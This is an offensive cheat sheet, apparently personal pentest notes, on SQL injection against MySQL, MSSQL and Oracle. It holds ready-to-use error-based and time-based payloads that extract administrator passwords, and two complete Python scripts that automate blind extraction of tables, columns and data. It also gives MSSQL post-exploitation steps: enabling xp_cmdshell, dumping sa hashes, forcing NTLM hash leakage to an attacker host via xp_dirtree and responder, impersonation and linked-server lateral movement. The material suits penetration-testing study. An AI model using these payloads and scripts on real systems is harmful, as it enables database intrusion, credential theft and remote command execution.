SQLi

SQL Injections.

Is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.

Types:

  • In-band : Printed response (Union-based, Error-based)

  • Blind : Non-printed response (Boolean-based, Time-based)

  • Out-of-band : No access (needs to redirect to DNS, for example)

Steps:

  • Find number of columns (order by or union) and type.

  • Find TRUE and FALSE conditions. If not possible because they have same output try with error and time delay. Finally try with Out-of-band.

  • Find Vectors (union …) and Boundaries (<VECTORS>-- -)

CheatSheet PostgreSQL, MySQL, MSSQL, Oracle

Tools

Tool
Details

Identify MySQL

SELECT @@version

In-band, If it is not MySQL it returns an error

SELECT SLEEP(5)

Blind, If it is not MySQL it returns an error

Enumeration DB

@@version / version()

MySQL version

database()

Get the current database in use

INFORMATION_SCHEMA

User & Privileges

user() / current_user() / user FROM mysql.user

Get the current user in use

SELECT super_priv FROM mysql.user WHERE user="<NAME>"

SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee="''@'localhost'"

Action

See Web Root.

show variables like "secure_file_priv";

MySQL has secure_file_priv default to /var/lib/mysql-files or NULL on some modern configs.

READ

SELECT LOAD_FILE(<PATH>)

WRITE SELECT '<STRING>' INTO OUTFILE '<PATH>' or SELECT FROM_BASE64(“<BASE64>” ) INTO OUTFILE '<PATH>'

Payload

Table

SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1 OFFSET 0

Column

SELECT column_name FROM information_schema.columns WHERE table_name = '<TABELLA>' LIMIT 1 OFFSET 0

Error

SELECT count(*), concat(( <PAYLOAD_TO_PRINT> ), 0x20 , floor(rand(0)*2)) as x FROM information_schema.tables group by x; -- -

Sometimes in Blind SQLi the condition true and false generate the same output. You can, however, use the Error-Base SQLi to get the true and false condition.

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
# example
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, {}, 1) = '{}') THEN 1/0 ELSE 'a' END FROM Users)='a
# oracle
xyz' AND (SELECT CASE WHEN SUBSTR(password,{},1)='{}' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator')='a
MyMultipleBlind

Change parameters such as URL, error, the sendReq function, and payloads with your own Vectors and Boundaries.

import requests, sys, argparse

s = requests.session()
proxy = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

URL = '<URL>'
error = 'Invalid username or password'

def sendReq(payload):
    data = {
        "username": payload,
        "password": "RANDOM"
    }
    r = s.post(f'{URL}/', data=data) #json=data
    return error not in r.text


#* toDo = 0 -> TABLE
#* toDo = 1 -> COLUMN
#* toDo = 2 -> DATA
def SQLi(toDo, tabella, colonna, quanti):
    print("[!] Searching", end=' ')
    DICTIONARY = '0123456789abcdef'
    KNOW = [tabella, colonna, ""]
    
    # HOW MUCH DATA TO EXTRACT
    for n in range(quanti):
        while True:
            # CHECK EVERY CHARACTER 
            for c in DICTIONARY:
                # SET PAYLOAD BY TYPE
                if toDo == 0:
                    COSA = f"SELECT HEX(table_name) as element FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1 OFFSET {n}"
                elif toDo == 1:
                    COSA = f"SELECT HEX(column_name) as element FROM information_schema.columns WHERE table_name = '{tabella}' LIMIT 1 OFFSET {n}"
                elif toDo == 2:
                    COSA = f"SELECT HEX({colonna}) as element FROM {tabella} LIMIT 1 OFFSET {n}"

                know = KNOW[toDo]
                
                # PAYLOAD 
                PAYLOAD = f"999' or (SELECT 1 FROM ({COSA}) as payload WHERE element LIKE '{know}{c}%')=1 limit 1 offset 0 -- -"
                
                # SEND PAYLOAD 
                if sendReq(PAYLOAD):
                    KNOW[toDo] += c
                    sys.stdout.flush()
                    print(".", end='')
                    break
                
            # CHECK IF IT IS THE END OF DATA
            else:
                if KNOW[toDo] != "":
                    print("\n[+] FOUND: ", bytes.fromhex(KNOW[toDo]), end=' ')
                break
            
        # IF THERE ARE NO OTHER DATA
        if KNOW[toDo] == "": 
            print("\n[!] End search.")
            sys.stdout.flush()
            break
        
        else: KNOW[toDo] = ''
        
        
parser = argparse.ArgumentParser(description='SQL injection.')

parser.add_argument('-t', metavar='TABLE',  default='', help='Specify table for column extraction.')
parser.add_argument('-c', metavar='COLUMN', default='', help='Specify column for data extraction, to be used with -t.')
parser.add_argument('-n', metavar='NUMBER', default=10, help='Specify how much data to extract.')

args = parser.parse_args()

mode = 0
if args.t: mode += 1
if args.c: mode += 1
if args.c and not args.t: 
    parser.error("-c must be specified along with -t.")

# RUN
SQLi(mode, args.t, args.c, args.n)
MyTimeBased

Change parameters such as IP_PORT and payloads with your own Vectors and Boundaries. Inserting your own payload (es. PAYLOAD_COLUMNS or PAYLOAD_DATA) into PAYLOAD_BLIND.

import requests
import time
from urllib.parse import quote

IP_PORT = "<IP>:<PORT>"

# PAYLOAD
PAYLOAD_COLUMNS = "SELECT HEX(column_name) as element FROM information_schema.columns WHERE table_name = '<?>' LIMIT 1 OFFSET 0"
PAYLOAD_DATA = f"SELECT Hex(<?>) as element FROM <?> LIMIT 1 OFFSET 0"

DICTIONARY = "0123456789abcdef"
STRING = ""

def send(payload):
    return requests.get(f"http://{IP_PORT}/<PAGE>", json=payload)

end = False
while not end:
    for d in DICTIONARY:
        
        PAYLOAD_BLIND =  {
            "id": f"1 AND (SELECT SLEEP(1) FROM ({PAYLOAD_DATA}) as payload WHERE element LIKE '{STRING}{d}%')"
        }
        if send(PAYLOAD_BLIND).elapsed.total_seconds()>= 1: 
            print("FOUND : ", d, " - ", STRING)
            STRING += d
            break
        time.sleep(0.05)
    else:
        end = True
    
print("\n[+] LEAK:\t", bytes.fromhex(STRING).decode())

Credentials sa

Check if it is possible to recover the password hash of the sa account, which has full control over the DBMS.

SELECT name, password FROM master..sysxlogins  # MSSQL Server 2000
SELECT name, password_hash FROM master.sys.sql_logins  # >= 2005

xp_cmdshell

Procedure that allows you to execute commands, but is disabled by default and requires sa privileges (both to execute commands and to enable/disable xp_cmdshell).

xp_cmdshell '<command>'
EXEC master..xp_cmdshell '<command>'

Enable xp_cmdshell

EXEC sp_configure 'show advanced options', 1 ;  # or EXECUTE
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Disable xp_cmdshell

EXEC sp_configure 'xp cmdshell' 0;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

enable_xp_cmdshell
xp_cmdshell <COMANDO>

Read file

We can read files, of course if we have the appropriate permissions.

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

NTLM Hash Recovery

We can retrieve and steal the password hash of the MSSQL service account, under which the DB is running, which is different from the one in MSSQL. To do this we use responder.

sudo responder -I <INTERFACE>
EXEC master..xp_dirtree '\\<IP>\share\'
EXEC master..xp_subdirs '\\<IP>\share\'

Impersonation

With the special permission, called IMPERSONATE, it is possible to impersonate other users by assuming their permissions. Administrators can impersonate anyone, while for others, privileges must be explicitly assigned.

Tip: Do in DB master

USE master

Identifying users we can impersonate

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

Impersonation

EXECUTE AS LOGIN = '<WHO>'

Check

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

Communication with other DBs

If we can access a SQL Server with a linked server configured, we may be able to move laterally on that database server. We can try to execute commands if we have the appropriate permissions. Note: It is possible that only some users can execute commands on those DB links, try with everyone, even impersonated ones.

Identify connected servers (try all)

SELECT srvname, isremote FROM sysservers

Executing commands

EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]

Note: If we need to use quotes in our query to run on the linked server, we need to use two single quotes to escape the single quote.

Payload

Blind with time delay

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
# example
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, {}, 1) > '{}') = 1 WAITFOR DELAY '0:0:{delay}'--

Last updated